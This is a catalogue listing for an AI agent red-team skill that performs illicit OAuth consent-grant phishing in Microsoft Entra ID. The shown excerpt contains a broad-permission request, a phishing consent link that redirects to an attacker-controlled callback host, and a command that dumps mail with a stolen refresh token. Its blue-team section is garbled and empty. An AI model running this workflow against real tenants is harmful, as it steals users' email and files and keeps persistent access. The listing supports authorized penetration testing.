azure-ad-illicit-consent-grant

azure-ad-illicit-consent-grant is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 56 tokens per session (1,072 once invoked), scanned A, original, MIT.

A penetration-testing guide for illicit consent grants in Microsoft Entra ID, Microsoft's cloud identity service, where users approve an application's access to company data.

In plain words
What is it for?
It supports testing OAuth permission abuse, reviewing access to email and files, and assessing whether refresh tokens could preserve unauthorized access.
Why use it?
It helps security testers show how a deceptive application approval could grant access without stealing a password. Use it only with explicit permission.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is > - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain pat.

Good fit It supports testing OAuth permission abuse, reviewing access to email and files, and assessing whether refresh tokens could preserve unauthorized access.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grant

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for azure-ad-illicit-consent-grant

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grant/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grant)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grant"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grant/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for azure-ad-illicit-consent-grant

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grant"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/azure-ad-illicit-consent-grant.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 56 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,072 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00056 $0.01072
Opus 5 $0.00028 $0.00536
Sonnet 5 $0.00011 $0.00214
Haiku 4.5 $0.00006 $0.00107

Measured 8d ago against content hash 59f5f451111e, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

azure-ad-illicit-consent-grant scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/azure-ad-illicit-consent-grant/SKILL.md · 128 lines

How it starts

The opening of the file, as written. The whole thing — 128 lines — stays where its author put it; the contents beside it link to each section on GitHub.

When to Use

  • When conducting cloud-focused Red Team engagements where standard credential phishing is blocked by strong Multi-Factor Authentication (MFA).
  • To maintain stealthy, persistent access to a user's Microsoft 365 data (emails, OneDrive) by relying on OAuth refresh tokens rather than stolen passwords.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Registering the Malicious Application

# ```

### Phase 2: Defining Scopes and Permissions

```json
// // {
  "requestedPermissions": [
    { "id": "Mail.ReadWrite", "type": "Scope" },
    { "id": "Files.ReadWrite.All", "type": "Scope" },
    { "id": "User.Read", "type": "Scope" }
  ]
}

Phase 3: Crafting the Consent Link (The Phish)

# # https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=ATTACKER_APP_ID
&response_type=code
&redirect_uri=https://attacker-controlled-site.com/callback
&response_mode=query
&scope=Mail.ReadWrite%20Files.ReadWrite.All%20User.Read%20offline_access
&state=12345

Phase 4: Harvesting the Tokens and Accessing Data

# python3 365-stealer.py --refresh-token [STOLEN_REFRESH_TOKEN] --dump-mail
Decision Point 🔀
flowchart TD
    A[Send Phishing Link ] --> B{User Consents? ]}
    B -->|Yes| C[Receive Auth Code ]
    B -->|No| D[Revise Pretext ]
    C --> E[Exchange for Token ]

🔵 Blue Team Detection & Defense

  • Restrict App Consent: - Monitor Azure AD Audit Logs: Defend against Oauth Phishing: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Azure Ad Illicit Consent Grant — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Read the full file on GitHub · 128 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 128 lines · 56 tokens per session scan A 59f5f451111e

Subscribe to this mod's changes

azure-ad-illicit-consent-grant is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 56 tokens to every session and 1,072 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

azure-ad-illicit-consent-grant

Exploit Illicit Consent Grants in Azure Active Directory (Entra ID). This skill covers crafting a malicious OAuth application to trick victims into granting broad permissions (like reading emails, modifying files) without requiring their password or MFA.

akashrpatil/awesome-offensive-security-skills · 56 tokens

detecting-suspicious-oauth-application-consent

Detect risky OAuth application consent grants in Azure AD / Microsoft Entra ID using Microsoft Graph API, audit logs, and permission analysis to identify illicit consent grant attacks.

xalgorix/xalgorix · 44 tokens

auditing-azure-active-directory-configuration

Auditing Microsoft Entra ID (Azure Active Directory) configuration to identify risky authentication policies, overly permissive role assignments, stale accounts, conditional access gaps, and guest user risks using AzureAD PowerShell, Microsoft Graph API, and ScoutSuite.

xalgorix/xalgorix · 58 tokens

detecting-azure-lateral-movement

Detect lateral movement in Azure AD/Entra ID environments using Microsoft Graph API audit logs, Azure Sentinel KQL hunting queries, and sign-in anomaly correlation to identify privilege escalation, token theft, and cross-tenant pivoting.

xalgorix/xalgorix · 54 tokens

attacking-oauth-with-device-code-phishing

Run OAuth 2.0 device-code and illicit-consent phishing attacks against Microsoft Entra ID, using TokenTactics-style tooling to steal access and refresh tokens, bypass MFA, and pivot across Microsoft 365 services. Use for authorized red-team engagements simulating device-code or consent-grant phishing against a tenant…

Youngmaidainon/Agent-Level-Up · 80 tokens

dashboard-authoring

Turn a recurring query template into a semantic-model + report definition, deterministically.

calvinchengx/data-agent-service · 19 tokens